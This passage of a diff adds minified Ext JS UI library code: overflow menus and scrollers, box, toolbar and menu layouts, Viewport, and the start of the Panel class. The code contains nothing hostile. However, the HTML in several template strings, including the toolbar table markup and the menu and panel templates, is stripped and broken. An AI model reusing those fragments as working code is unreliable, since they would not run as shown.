"itemId", "disabled", "handler", "scope", "menu"]); + Ext.apply(b, {text:c.overflowText || c.text, hideOnClick:a}); + if (d || c.enableToggle) { + Ext.apply(b, {group:d, checked:c.pressed, listeners:{checkchange:function (g, e) { + c.toggle(e) + }}}) + } + delete b.ownerCt; + delete b.xtype; + delete b.id; + return b +}, addComponentToMenu:function (b, a) { + if (a instanceof Ext.Toolbar.Separator) { + b.add("-") + } else { + if (Ext.isFunction(a.isXType)) { + if (a.isXType("splitbutton")) { + b.add(this.createMenuConfig(a, true)) + } else { + if (a.isXType("button")) { + b.add(this.createMenuConfig(a, !a.menu)) + } else { + if (a.isXType("buttongroup")) { + a.items.each(function (c) { + this.addComponentToMenu(b, c) + }, this) + } + } + } + } + } +}, clearMenu:function () { + var a = this.moreMenu; + if (a && a.items) { + a.items.each(function (b) { + delete b.menu + }) + } +}, createMenu:function () { + if (!this.menuTrigger) { + this.createInnerElements(); + this.menu = new Ext.menu.Menu({ownerCt:this.layout.container, listeners:{scope:this, beforeshow:this.beforeMenuShow}}); + this.menuTrigger = new Ext.Button({iconCls:"x-toolbar-more-icon", cls:"x-toolbar-more", menu:this.menu, renderTo:this.afterCt}) + } +}, destroy:function () { + Ext.destroy(this.menu, this.menuTrigger) +}}); +Ext.layout.boxOverflow.menu = Ext.layout.boxOverflow.Menu; +Ext.layout.boxOverflow.HorizontalMenu = Ext.extend(Ext.layout.boxOverflow.Menu, {constructor:function () { + Ext.layout.boxOverflow.HorizontalMenu.superclass.constructor.apply(this, arguments); + var c = this, b = c.layout, a = b.calculateChildBoxes; + b.calculateChildBoxes = function (d, i) { + var l = a.apply(b, arguments), k = l.meta, e = c.menuItems; + var j = 0; + for (var g = 0, h = e.length; g < h; g++) { + j += e[g].width + } + k.minimumWidth += j; + k.tooNarrow = k.minimumWidth > i.width; + return l + } +}, handleOverflow:function (d, h) { + this.showTrigger(); + var k = h.width - this.afterCt.getWidth(), l = d.boxes, e = 0, r = false; + for (var o = 0, c = l.length; o < c; o++) { + e += l[o].width + } + var a = k - e, g = 0; + for (var o = 0, c = this.menuItems.length; o < c; o++) { + var n = this.menuItems[o], m = n.component, b = n.width; + if (b < a) { + m.show(); + a -= b; + g++; + r = true + } else { + break + } + } + if (r) { + this.menuItems = this.menuItems.slice(g) + } else { + for (var j = l.length - 1; j >= 0; j--) { + var q = l[j].component, p = l[j].left + l[j].width; + if (p >= k) { + this.menuItems.unshift({component:q, width:l[j].width}); + q.hide() + } else { + break + } + } + } + if (this.menuItems.length == 0) { + this.hideTrigger() + } + return{targetSize:{height:h.height, width:k}, recalculate:r} +}}); +Ext.layout.boxOverflow.menu.hbox = Ext.layout.boxOverflow.HorizontalMenu; +Ext.layout.boxOverflow.Scroller = Ext.extend(Ext.layout.boxOverflow.None, {animateScroll:true, scrollIncrement:100, wheelIncrement:3, scrollRepeatInterval:400, scrollDuration:0.4, beforeCls:"x-strip-left", afterCls:"x-strip-right", scrollerCls:"x-strip-scroller", beforeScrollerCls:"x-strip-scroller-left", afterScrollerCls:"x-strip-scroller-right", createWheelListener:function () { + this.layout.innerCt.on({scope:this, mousewheel:function (a) { + a.stopEvent(); + this.scrollBy(a.getWheelDelta() * this.wheelIncrement * -1, false) + }}) +}, handleOverflow:function (a, b) { + this.createInnerElements(); + this.showScrollers() +}, clearOverflow:function () { + this.hideScrollers() +}, showScrollers:function () { + this.createScrollers(); + this.beforeScroller.show(); + this.afterScroller.show(); + this.updateScrollButtons() +}, hideScrollers:function () { + if (this.beforeScroller != undefined) { + this.beforeScroller.hide(); + this.afterScroller.hide() + } +}, createScrollers:function () { + if (!this.beforeScroller && !this.afterScroller) { + var a = this.beforeCt.createChild({cls:String.format("{0} {1} ", this.scrollerCls, this.beforeScrollerCls)}); + var b = this.afterCt.createChild({cls:String.format("{0} {1}", this.scrollerCls, this.afterScrollerCls)}); + a.addClassOnOver(this.beforeScrollerCls + "-hover"); + b.addClassOnOver(this.afterScrollerCls + "-hover"); + a.setVisibilityMode(Ext.Element.DISPLAY); + b.setVisibilityMode(Ext.Element.DISPLAY); + this.beforeRepeater = new Ext.util.ClickRepeater(a, {interval:this.scrollRepeatInterval, handler:this.scrollLeft, scope:this}); + this.afterRepeater = new Ext.util.ClickRepeater(b, {interval:this.scrollRepeatInterval, handler:this.scrollRight, scope:this}); + this.beforeScroller = a; + this.afterScroller = b + } +}, destroy:function () { + Ext.destroy(this.beforeScroller, this.afterScroller, this.beforeRepeater, this.afterRepeater, this.beforeCt, this.afterCt) +}, scrollBy:function (b, a) { + this.scrollTo(this.getScrollPosition() + b, a) +}, getItem:function (a) { + if (Ext.isString(a)) { + a = Ext.getCmp(a) + } else { + if (Ext.isNumber(a)) { + a = this.items[a] + } + } + return a +}, getScrollAnim:function () { + return{duration:this.scrollDuration, callback:this.updateScrollButtons, scope:this} +}, updateScrollButtons:function () { + if (this.beforeScroller == undefined || this.afterScroller == undefined) { + return + } + var d = this.atExtremeBefore() ? "addClass" : "removeClass", c = this.atExtremeAfter() ? "addClass" : "removeClass", a = this.beforeScrollerCls + "-disabled", b = this.afterScrollerCls + "-disabled"; + this.beforeScroller[d](a); + this.afterScroller[c](b); + this.scrolling = false +}, atExtremeBefore:function () { + return this.getScrollPosition() === 0 +}, scrollLeft:function (a) { + this.scrollBy(-this.scrollIncrement, a) +}, scrollRight:function (a) { + this.scrollBy(this.scrollIncrement, a) +}, scrollToItem:function (d, b) { + d = this.getItem(d); + if (d != undefined) { + var a = this.getItemVisibility(d); + if (!a.fullyVisible) { + var c = d.getBox(true, true), e = c.x; + if (a.hiddenRight) { + e -= (this.layout.innerCt.getWidth() - c.width) + } + this.scrollTo(e, b) + } + } +}, getItemVisibility:function (e) { + var d = this.getItem(e).getBox(true, true), a = d.x, c = d.x + d.width, g = this.getScrollPosition(), b = this.layout.innerCt.getWidth() + g; + return{hiddenLeft:a < g, hiddenRight:c > b, fullyVisible:a > g && c < b} +}}); +Ext.layout.boxOverflow.scroller = Ext.layout.boxOverflow.Scroller; +Ext.layout.boxOverflow.VerticalScroller = Ext.extend(Ext.layout.boxOverflow.Scroller, {scrollIncrement:75, wheelIncrement:2, handleOverflow:function (a, b) { + Ext.layout.boxOverflow.VerticalScroller.superclass.handleOverflow.apply(this, arguments); + return{targetSize:{height:b.height - (this.beforeCt.getHeight() + this.afterCt.getHeight()), width:b.width}} +}, createInnerElements:function () { + var a = this.layout.innerCt; + if (!this.beforeCt) { + this.beforeCt = a.insertSibling({cls:this.beforeCls}, "before"); + this.afterCt = a.insertSibling({cls:this.afterCls}, "after"); + this.createWheelListener() + } +}, scrollTo:function (a, b) { + var d = this.getScrollPosition(), c = a.constrain(0, this.getMaxScrollBottom()); + if (c != d && !this.scrolling) { + if (b == undefined) { + b = this.animateScroll + } + this.layout.innerCt.scrollTo("top", c, b ? this.getScrollAnim() : false); + if (b) { + this.scrolling = true + } else { + this.scrolling = false; + this.updateScrollButtons() + } + } +}, getScrollPosition:function () { + return parseInt(this.layout.innerCt.dom.scrollTop, 10) || 0 +}, getMaxScrollBottom:function () { + return this.layout.innerCt.dom.scrollHeight - this.layout.innerCt.getHeight() +}, atExtremeAfter:function () { + return this.getScrollPosition() >= this.getMaxScrollBottom() +}}); +Ext.layout.boxOverflow.scroller.vbox = Ext.layout.boxOverflow.VerticalScroller; +Ext.layout.boxOverflow.HorizontalScroller = Ext.extend(Ext.layout.boxOverflow.Scroller, {handleOverflow:function (a, b) { + Ext.layout.boxOverflow.HorizontalScroller.superclass.handleOverflow.apply(this, arguments); + return{targetSize:{height:b.height, width:b.width - (this.beforeCt.getWidth() + this.afterCt.getWidth())}} +}, createInnerElements:function () { + var a = this.layout.innerCt; + if (!this.beforeCt) { + this.afterCt = a.insertSibling({cls:this.afterCls}, "before"); + this.beforeCt = a.insertSibling({cls:this.beforeCls}, "before"); + this.createWheelListener() + } +}, scrollTo:function (a, b) { + var d = this.getScrollPosition(), c = a.constrain(0, this.getMaxScrollRight()); + if (c != d && !this.scrolling) { + if (b == undefined) { + b = this.animateScroll + } + this.layout.innerCt.scrollTo("left", c, b ? this.getScrollAnim() : false); + if (b) { + this.scrolling = true + } else { + this.scrolling = false; + this.updateScrollButtons() + } + } +}, getScrollPosition:function () { + return parseInt(this.layout.innerCt.dom.scrollLeft, 10) || 0 +}, getMaxScrollRight:function () { + return this.layout.innerCt.dom.scrollWidth - this.layout.innerCt.getWidth() +}, atExtremeAfter:function () { + return this.getScrollPosition() >= this.getMaxScrollRight() +}}); +Ext.layout.boxOverflow.scroller.hbox = Ext.layout.boxOverflow.HorizontalScroller; +Ext.layout.HBoxLayout = Ext.extend(Ext.layout.BoxLayout, {align:"top", type:"hbox", calculateChildBoxes:function (r, b) { + var F = r.length, R = this.padding, D = R.top, U = R.left, y = D + R.bottom, O = U + R.right, a = b.width - this.scrollOffset, e = b.height, o = Math.max(0, e - y), P = this.pack == "start", W = this.pack == "center", A = this.pack == "end", L = 0, Q = 0, T = 0, l = 0, X = 0, H = [], k, J, M, V, w, j, S, I, c, x, q, N; + for (S = 0; S < F; S++) { + k = r[S]; + M = k.height; + J = k.width; + j = !k.hasLayout && typeof k.doLayout == "function"; + if (typeof J != "number") { + if (k.flex && !J) { + T += k.flex + } else { + if (!J && j) { + k.doLayout() + } + V = k.getSize(); + J = V.width; + M = V.height + } + } + w = k.margins; + x = w.left + w.right; + L += x + (J || 0); + l += x + (k.flex ? k.minWidth || 0 : J); + X += x + (k.minWidth || J || 0); + if (typeof M != "number") { + if (j) { + k.doLayout() + } + M = k.getHeight() + } + Q = Math.max(Q, M + w.top + w.bottom); + H.push({component:k, height:M || undefined, width:J || undefined}) + } + var K = l - a, p = X > a; + var n = Math.max(0, a - L - O); + if (p) { + for (S = 0; S < F; S++) { + H[S].width = r[S].minWidth || r[S].width || H[S].width + } + } else { + if (K > 0) { + var C = []; + for (var E = 0, v = F; E < v; E++) { + var B = r[E], t = B.minWidth || 0; + if (B.flex) { + H[E].width = t + } else { + C.push({minWidth:t, available:H[E].width - t, index:E}) + } + } + C.sort(function (Y, i) { + return Y.available > i.available ? 1 : -1 + }); + for (var S = 0, v = C.length; S < v; S++) { + var G = C[S].index; + if (G == undefined) { + continue + } + var B = r[G], m = H[G], u = m.width, t = B.minWidth, d = Math.max(t, u - Math.ceil(K / (v - S))), g = u - d; + H[G].width = d; + K -= g + } + } else { + var h = n, s = T; + for (S = 0; S < F; S++) { + k = r[S]; + I = H[S]; + w = k.margins; + q = w.top + w.bottom; + if (P && k.flex && !k.width) { + c = Math.ceil((k.flex / s) * h); + h -= c; + s -= k.flex; + I.width = c; + I.dirtySize = true + } + } + } + } + if (W) { + U += n / 2 + } else { + if (A) { + U += n + } + } + for (S = 0; S < F; S++) { + k = r[S]; + I = H[S]; + w = k.margins; + U += w.left; + q = w.top + w.bottom; + I.left = U; + I.top = D + w.top; + switch (this.align) { + case"stretch": + N = o - q; + I.height = N.constrain(k.minHeight || 0, k.maxHeight || 1000000); + I.dirtySize = true; + break; + case"stretchmax": + N = Q - q; + I.height = N.constrain(k.minHeight || 0, k.maxHeight || 1000000); + I.dirtySize = true; + break; + case"middle": + var z = o - I.height - q; + if (z > 0) { + I.top = D + q + (z / 2) + } + } + U += I.width + w.right + } + return{boxes:H, meta:{maxHeight:Q, nonFlexWidth:L, desiredWidth:l, minimumWidth:X, shortfall:l - a, tooNarrow:p}} +}}); +Ext.Container.LAYOUTS.hbox = Ext.layout.HBoxLayout; +Ext.layout.VBoxLayout = Ext.extend(Ext.layout.BoxLayout, {align:"left", type:"vbox", calculateChildBoxes:function (o, b) { + var E = o.length, R = this.padding, C = R.top, V = R.left, x = C + R.bottom, O = V + R.right, a = b.width - this.scrollOffset, c = b.height, K = Math.max(0, a - O), P = this.pack == "start", X = this.pack == "center", z = this.pack == "end", k = 0, u = 0, U = 0, L = 0, m = 0, G = [], h, I, N, W, t, g, T, H, S, w, n, d, r; + for (T = 0; T < E; T++) { + h = o[T]; + N = h.height; + I = h.width; + g = !h.hasLayout && typeof h.doLayout == "function"; + if (typeof N != "number") { + if (h.flex && !N) { + U += h.flex + } else { + if (!N && g) { + h.doLayout() + } + W = h.getSize(); + I = W.width; + N = W.height + } + } + t = h.margins; + n = t.top + t.bottom; + k += n + (N || 0); + L += n + (h.flex ? h.minHeight || 0 : N); + m += n + (h.minHeight || N || 0); + if (typeof I != "number") { + if (g) { + h.doLayout() + } + I = h.getWidth() + } + u = Math.max(u, I + t.left + t.right); + G.push({component:h, height:N || undefined, width:I || undefined}) + } + var M = L - c, l = m > c; + var q = Math.max(0, (c - k - x)); + if (l) { + for (T = 0, r = E; T < r; T++) { + G[T].height = o[T].minHeight || o[T].height || G[T].height + } + } else { + if (M > 0) { + var J = []; + for (var D = 0, r = E; D < r; D++) { + var A = o[D], s = A.minHeight || 0; + if (A.flex) { + G[D].height = s + } else { + J.push({minHeight:s, available:G[D].height - s, index:D}) + } + } + J.sort(function (Y, i) { + return Y.available > i.available ? 1 : -1 + }); + for (var T = 0, r = J.length; T < r; T++) { + var F = J[T].index; + if (F == undefined) { + continue + } + var A = o[F], j = G[F], v = j.height, s = A.minHeight, B = Math.max(s, v - Math.ceil(M / (r - T))), e = v - B; + G[F].height = B; + M -= e + } + } else { + var Q = q, p = U; + for (T = 0; T < E; T++) { + h = o[T]; + H = G[T]; + t = h.margins; + w = t.left + t.right; + if (P && h.flex && !h.height) { + S = Math.ceil((h.flex / p) * Q); + Q -= S; + p -= h.flex; + H.height = S; + H.dirtySize = true + } + } + } + } + if (X) { + C += q / 2 + } else { + if (z) { + C += q + } + } + for (T = 0; T < E; T++) { + h = o[T]; + H = G[T]; + t = h.margins; + C += t.top; + w = t.left + t.right; + H.left = V + t.left; + H.top = C; + switch (this.align) { + case"stretch": + d = K - w; + H.width = d.constrain(h.minWidth || 0, h.maxWidth || 1000000); + H.dirtySize = true; + break; + case"stretchmax": + d = u - w; + H.width = d.constrain(h.minWidth || 0, h.maxWidth || 1000000); + H.dirtySize = true; + break; + case"center": + var y = K - H.width - w; + if (y > 0) { + H.left = V + w + (y / 2) + } + } + C += H.height + t.bottom + } + return{boxes:G, meta:{maxWidth:u, nonFlexHeight:k, desiredHeight:L, minimumHeight:m, shortfall:L - c, tooNarrow:l}} +}}); +Ext.Container.LAYOUTS.vbox = Ext.layout.VBoxLayout; +Ext.layout.ToolbarLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:true, type:"toolbar", triggerWidth:18, noItemsMenuText:'
(None)
', lastOverflow:false, tableHTML:['', "", "", '", '", "", "", "
', '', "", '', "", "
", "
', '', "", "", "", "", "", "", "
", '', "", '', "", "
", "
", '', "", '', "", "
", "
", "
"].join(""), onLayout:function (e, j) { + if (!this.leftTr) { + var h = e.buttonAlign == "center" ? "center" : "left"; + j.addClass("x-toolbar-layout-ct"); + j.insertHtml("beforeEnd", String.format(this.tableHTML, h)); + this.leftTr = j.child("tr.x-toolbar-left-row", true); + this.rightTr = j.child("tr.x-toolbar-right-row", true); + this.extrasTr = j.child("tr.x-toolbar-extras-row", true); + if (this.hiddenItem == undefined) { + this.hiddenItems = [] + } + } + var k = e.buttonAlign == "right" ? this.rightTr : this.leftTr, l = e.items.items, d = 0; + for (var b = 0, g = l.length, m; b < g; b++, d++) { + m = l[b]; + if (m.isFill) { + k = this.rightTr; + d = -1 + } else { + if (!m.rendered) { + m.render(this.insertCell(m, k, d)); + this.configureItem(m) + } else { + if (!m.xtbHidden && !this.isValidParent(m, k.childNodes[d])) { + var a = this.insertCell(m, k, d); + a.appendChild(m.getPositionEl().dom); + m.container = Ext.get(a) + } + } + } + } + this.cleanup(this.leftTr); + this.cleanup(this.rightTr); + this.cleanup(this.extrasTr); + this.fitToSize(j) +}, cleanup:function (b) { + var e = b.childNodes, a, d; + for (a = e.length - 1; a >= 0 && (d = e[a]); a--) { + if (!d.firstChild) { + b.removeChild(d) + } + } +}, insertCell:function (e, b, a) { + var d = document.createElement("td"); + d.className = "x-toolbar-cell"; + b.insertBefore(d, b.childNodes[a] || null); + return d +}, hideItem:function (a) { + this.hiddenItems.push(a); + a.xtbHidden = true; + a.xtbWidth = a.getPositionEl().dom.parentNode.offsetWidth; + a.hide() +}, unhideItem:function (a) { + a.show(); + a.xtbHidden = false; + this.hiddenItems.remove(a) +}, getItemWidth:function (a) { + return a.hidden ? (a.xtbWidth || 0) : a.getPositionEl().dom.parentNode.offsetWidth +}, fitToSize:function (k) { + if (this.container.enableOverflow === false) { + return + } + var b = k.dom.clientWidth, j = k.dom.firstChild.offsetWidth, m = b - this.triggerWidth, a = this.lastWidth || 0, c = this.hiddenItems, e = c.length != 0, n = b >= a; + this.lastWidth = b; + if (j > b || (e && n)) { + var l = this.container.items.items, h = l.length, d = 0, o; + for (var g = 0; g < h; g++) { + o = l[g]; + if (!o.isFill) { + d += this.getItemWidth(o); + if (d > m) { + if (!(o.hidden || o.xtbHidden)) { + this.hideItem(o) + } + } else { + if (o.xtbHidden) { + this.unhideItem(o) + } + } + } + } + } + e = c.length != 0; + if (e) { + this.initMore(); + if (!this.lastOverflow) { + this.container.fireEvent("overflowchange", this.container, true); + this.lastOverflow = true + } + } else { + if (this.more) { + this.clearMenu(); + this.more.destroy(); + delete this.more; + if (this.lastOverflow) { + this.container.fireEvent("overflowchange", this.container, false); + this.lastOverflow = false + } + } + } +}, createMenuConfig:function (c, a) { + var b = Ext.apply({}, c.initialConfig), d = c.toggleGroup; + Ext.copyTo(b, c, ["iconCls", "icon", "itemId", "disabled", "handler", "scope", "menu"]); + Ext.apply(b, {text:c.overflowText || c.text, hideOnClick:a}); + if (d || c.enableToggle) { + Ext.apply(b, {group:d, checked:c.pressed, listeners:{checkchange:function (g, e) { + c.toggle(e) + }}}) + } + delete b.ownerCt; + delete b.xtype; + delete b.id; + return b +}, addComponentToMenu:function (b, a) { + if (a instanceof Ext.Toolbar.Separator) { + b.add("-") + } else { + if (Ext.isFunction(a.isXType)) { + if (a.isXType("splitbutton")) { + b.add(this.createMenuConfig(a, true)) + } else { + if (a.isXType("button")) { + b.add(this.createMenuConfig(a, !a.menu)) + } else { + if (a.isXType("buttongroup")) { + a.items.each(function (c) { + this.addComponentToMenu(b, c) + }, this) + } + } + } + } + } +}, clearMenu:function () { + var a = this.moreMenu; + if (a && a.items) { + a.items.each(function (b) { + delete b.menu + }) + } +}, beforeMoreShow:function (h) { + var b = this.container.items.items, a = b.length, g, e; + var c = function (j, i) { + return j.isXType("buttongroup") && !(i instanceof Ext.Toolbar.Separator) + }; + this.clearMenu(); + h.removeAll(); + for (var d = 0; d < a; d++) { + g = b[d]; + if (g.xtbHidden) { + if (e && (c(g, e) || c(e, g))) { + h.add("-") + } + this.addComponentToMenu(h, g); + e = g + } + } + if (h.items.length < 1) { + h.add(this.noItemsMenuText) + } +}, initMore:function () { + if (!this.more) { + this.moreMenu = new Ext.menu.Menu({ownerCt:this.container, listeners:{beforeshow:this.beforeMoreShow, scope:this}}); + this.more = new Ext.Button({iconCls:"x-toolbar-more-icon", cls:"x-toolbar-more", menu:this.moreMenu, ownerCt:this.container}); + var a = this.insertCell(this.more, this.extrasTr, 100); + this.more.render(a) + } +}, destroy:function () { + Ext.destroy(this.more, this.moreMenu); + delete this.leftTr; + delete this.rightTr; + delete this.extrasTr; + Ext.layout.ToolbarLayout.superclass.destroy.call(this) +}}); +Ext.Container.LAYOUTS.toolbar = Ext.layout.ToolbarLayout; +Ext.layout.MenuLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:true, type:"menu", setContainer:function (a) { + this.monitorResize = !a.floating; + a.on("autosize", this.doAutoSize, this); + Ext.layout.MenuLayout.superclass.setContainer.call(this, a) +}, renderItem:function (g, b, e) { + if (!this.itemTpl) { + this.itemTpl = Ext.layout.MenuLayout.prototype.itemTpl = new Ext.XTemplate('
  • ', '', '{altText}', "", "
  • ") + } + if (g && !g.rendered) { + if (Ext.isNumber(b)) { + b = e.dom.childNodes[b] + } + var d = this.getItemArgs(g); + g.render(g.positionEl = b ? this.itemTpl.insertBefore(b, d, true) : this.itemTpl.append(e, d, true)); + g.positionEl.menuItemId = g.getItemId(); + if (!d.isMenuItem && d.needsIcon) { + g.positionEl.addClass("x-menu-list-item-indent") + } + this.configureItem(g) + } else { + if (g && !this.isValidParent(g, e)) { + if (Ext.isNumber(b)) { + b = e.dom.childNodes[b] + } + e.dom.insertBefore(g.getActionEl().dom, b || null) + } + } +}, getItemArgs:function (d) { + var a = d instanceof Ext.menu.Item, b = !(a || d instanceof Ext.menu.Separator); + return{isMenuItem:a, needsIcon:b && (d.icon || d.iconCls), icon:d.icon || Ext.BLANK_IMAGE_URL, iconCls:"x-menu-item-icon " + (d.iconCls || ""), itemId:"x-menu-el-" + d.id, itemCls:"x-menu-list-item ", altText:d.altText || ""} +}, isValidParent:function (b, a) { + return b.el.up("li.x-menu-list-item", 5).dom.parentNode === (a.dom || a) +}, onLayout:function (a, b) { + Ext.layout.MenuLayout.superclass.onLayout.call(this, a, b); + this.doAutoSize() +}, doAutoSize:function () { + var c = this.container, a = c.width; + if (c.floating) { + if (a) { + c.setWidth(a) + } else { + if (Ext.isIE) { + c.setWidth(Ext.isStrict && (Ext.isIE7 || Ext.isIE8 || Ext.isIE9) ? "auto" : c.minWidth); + var d = c.getEl(), b = d.dom.offsetWidth; + c.setWidth(c.getLayoutTarget().getWidth() + d.getFrameWidth("lr")) + } + } + } +}}); +Ext.Container.LAYOUTS.menu = Ext.layout.MenuLayout; +Ext.Viewport = Ext.extend(Ext.Container, {initComponent:function () { + Ext.Viewport.superclass.initComponent.call(this); + document.getElementsByTagName("html")[0].className += " x-viewport"; + this.el = Ext.getBody(); + this.el.setHeight = Ext.emptyFn; + this.el.setWidth = Ext.emptyFn; + this.el.setSize = Ext.emptyFn; + this.el.dom.scroll = "no"; + this.allowDomMove = false; + this.autoWidth = true; + this.autoHeight = true; + Ext.EventManager.onWindowResize(this.fireResize, this); + this.renderTo = this.el +}, fireResize:function (a, b) { + this.fireEvent("resize", this, a, b, a, b) +}}); +Ext.reg("viewport", Ext.Viewport); +Ext.Panel = Ext.extend(Ext.Container, {baseCls:"x-panel", collapsedCls:"x-panel-collapsed", maskDisabled:true, animCollapse:Ext.enableFx, headerAsText:true, buttonAlign:"right", collapsed:false, collapseFirst:true, minButtonWidth:75, elements:"body", preventBodyReset:false, padding:undefined, resizeEvent:"bodyresize", toolTarget:"header", collapseEl:"bwrap", slideAnchor:"t", disabledClass:"", deferHeight:true, expandDefaults:{duration:0.25}, collapseDefaults:{duration:0.25}, initComponent:function () { + Ext.Panel.superclass.initComponent.call(this); + this.addEvents("bodyresize", "titlechange", "iconchange", "collapse", "expand", "beforecollapse", "beforeexpand", "beforeclose", "close", "activate", "deactivate"); + if (this.unstyled) { + this.baseCls = "x-plain" + } + this.toolbars = []; + if (this.tbar) { + this.elements += ",tbar"; + this.topToolbar = this.createToolbar(this.tbar); + this.tbar = null + } + if (this.bbar) { + this.elements += ",bbar"; + this.bottomToolbar = this.createToolbar(this.bbar); + this.bbar = null + } + if (this.header === true) { + this.elements += ",header"; + this.header = null + } else { + if (this.headerCfg || (this.title && this.header !== false)) { + this.elements += ",header" + } + } + if (this.footerCfg || this.footer === true) { + this.elements += ",footer"; + this.footer = null + } + if (this.buttons) { + this.fbar = this.buttons; + this.buttons = null + } + if (this.fbar) { + this.createFbar(this.fbar) + } + if (this.autoLoad) { + this.on("render", this.doAutoLoad, this, {delay:10}) + } +}, createFbar:function (b) { + var a = this.minButtonWidth; + this.elements += ",footer"; + this.fbar = this.createToolbar(b, {buttonAlign:this.buttonAlign, toolbarCls:"x-panel-fbar", enableOverflow:false, defaults:function (d) { + return{minWidth:d.minWidth || a} + }}); + this.fbar.items.each(function (d) { + d.minWidth = d.minWidth || this.minButtonWidth + }, this); + this.buttons = this.fbar.items.items +}, createToolbar:function (b, c) { + var a; + if (Ext.isArray(b)) { + b = {items:b} + } + a = b.events ? Ext.apply(b, c) : this.createComponent(Ext.apply({}, b, c), "toolbar"); + this.toolbars.push(a); + return a +}, createElement:function (a, c) { + if (this[a]) { + c.appendChild(this[a].dom); + return + } + if (a === "bwrap" || this.elements.indexOf(a) != -1) { + if (this[a + "Cfg"]) { + this[a] = Ext.fly(c).createChild(this[a + "Cfg"]) + } else { + var b = document.createElement("div"); + b.className = this[a + "Cls"]; + this[a] = Ext.get(c.appendChild(b)) + } + if (this[a + "CssClass"]) { + this[a].addClass(this[a + "CssClass"]) + } + if (this[a + "Style"]) { + this[a].applyStyles(this[a + "Style"]) + } + } +}, onRender:function (g, e) { + Ext.Panel.superclass.onRender.call(this, g, e); + this.createClasses(); + var a = this.el, h = a.dom, k, i; + if (this.collapsible && !this.hideCollapseTool) { + this.tools = this.tools ? this.tools.slice(0) : []; + this.tools[this.collapseFirst ? "unshift" : "push"]({id:"toggle", handler:this.toggleCollapse, scope:this}) + } + if (this.tools) { + i = this.tools; + this.elements += (this.header !== false) ? ",header" : "" + } + this.tools = {}; + a.addClass(this.baseCls); + if (h.firstChild) { + this.header = a.down("." + this.headerCls); + this.bwrap = a.down("." + this.bwrapCls); + var j = this.bwrap ? this.bwrap : a; + this.tbar = j.down("." + this.tbarCls); + this.body = j.down("." + this.bodyCls); + this.bbar = j.down("." + this.bbarCls); + this.footer = j.down("." + this.footerCls); + this.fromMarkup = true + } + if (this.preventBodyReset === true) { + a.addClass("x-panel-reset") + } + if (this.cls) { + a.addClass(this.cls) + } + if (this.buttons) { + this.elements += ",footer" + } + if (this.frame) { + a.insertHtml("afterBegin", String.format(Ext.Element.boxMarkup, this.baseCls)); + this.createElement("header", h.firstChild.firstChild.firstChild); + this.createElement("bwrap", h); + k = this.bwrap.dom; + var c = h.childNodes[1], b = h.childNodes[2]; + k.appendChild(c); + k.appendChild(b); + var l = k.firstChild.firstChild.firstChild; + this.createElement("tbar", l); + this.createElement("body", l); + this.createElement("bbar", l); + this.createElement("footer", k.lastChild.firstChild.firstChild); + if (!this.footer) { + this.bwrap.dom.lastChild.className += " x-panel-nofooter" + } + this.ft = Ext.get(this.bwrap.dom.lastChild); + this.mc = Ext.get(l) + } else { + this.createElement("header", h); + this.createElement("bwrap", h); + k = this.bwrap.dom; + this.createElement("tbar", k); + this.createElement("body", k); + this.createElement("bbar", k); + this.createElement("footer", k); + if (!this.header) { + this.body.addClass(this.bodyCls + "-noheader"); + if (this.tbar) { + this.tbar.addClass(this.tbarCls + "-noheader") + } + } + } + if (Ext.isDefined(this.padding)) { + this.body.setStyle("padding", this.body.addUnits(this.padding)) + } + if (this.border === false) { + this.el.addClass(this.baseCls + "-noborder"); + this.body.addClass(this.bodyCls + "-noborder"); + if (this.header) { + this.header.addClass(this.headerCls + "-noborder") + } + if (this.footer) { + this.footer.addClass(this.footerCls + "-noborder") + } + if (this.tbar) { + this.tbar.addClass(this.tbarCls + "-noborder") + } + if (this.bbar) { + this.bbar.addClass(this.bbarCls + "-noborder") + } + } + if (this.bodyBorder === false) { + this.body.addClass(this.bodyCls + "-noborder") + } + this.bwrap.enableDisplayMode("block"); + if (this.header) { + this.header.unselectable(); + if (this.headerAsText) { + this.header.dom.innerHTML = '' + this.header.dom.innerHTML + ""; + if (this.iconCls) { + this.setIconClass(this.iconCls) + } + } + } + if (this.floating) { + this.makeFloating(this.floating) + } + if (this.collapsible && this.titleCollapse && this.header) { + this.mon(this.header, "click", this.toggleCollapse, this); + this.header.setStyle("cursor", "pointer") + } + if (i) { + this.addTool.apply(this, i) + } + if (this.fbar) { + this.footer.addClass("x-panel-btns"); + this.fbar.ownerCt = this; + this.fbar.render(this.footer); + this.footer.createChild({cls:"x-clear"}) + } + if (this.tbar && this.topToolbar) { + this.topToolbar.ownerCt = this; + this.topToolbar.render(this.tbar) + } + if (this.bbar && this.bottomToolbar) { + this.bottomToolbar.ownerCt = this; + this.bottomToolbar.render(this.bbar) + } +}, setIconClass:function (b) { + var a = this.iconCls; + this.iconCls = b; + if (this.rendered && this.header) { + if (this.frame) { + this.header.addClass("x-panel-icon"); + this.header.replaceClass(a, this.iconCls) + } else { + var e = this.header, c = e.child("img.x-panel-inline-icon"); + if (c) { + Ext.fly(c).replaceClass(a, this.iconCls) + } else { + var d = e.child("span." + this.headerTextCls); + if (d) { + Ext.DomHelper.insertBefore(d.dom, {tag:"img", alt:"", src:Ext.BLANK_IMAGE_URL, cls:"x-panel-inline-icon " + this.iconCls}) + } + } + } + } + this.fireEvent("iconchange", this, b, a) +}, makeFloating:function (a) { + this.floating = true; + this.el = new Ext.Layer(Ext.apply({}, a, {shadow:Ext.isDefined(this.shadow) ? this.shadow : "sides", shadowOffset:this.shadowOffset, constrain:false, shim:this.shim === false ? false : undefined}), this.el) +}, getTopToolbar:function () { + return this.topToolbar +}, getBottomToolbar:function () { + return this.bottomToolbar +}, getFooterToolbar:function () { + return this.fbar +}, addButton:function (a, c, b) { + if (!this.fbar) { + this.createFbar([]) + } + if (c) { + if (Ext.isString(a)) { + a = {text:a} + } + a = Ext.apply({handler:c, scope:b}, a) + } + return this.fbar.add(a) +}, addTool:function () { + if (!this.rendered) { + if (!this.tools) { + this.tools = [] + } + Ext.each(arguments, function (a) { + this.tools.push(a) + }, this); + return + } + if (!this[this.toolTarget]) { + return + } + if (!this.toolTemplate) { + var h = new Ext.Template('
     
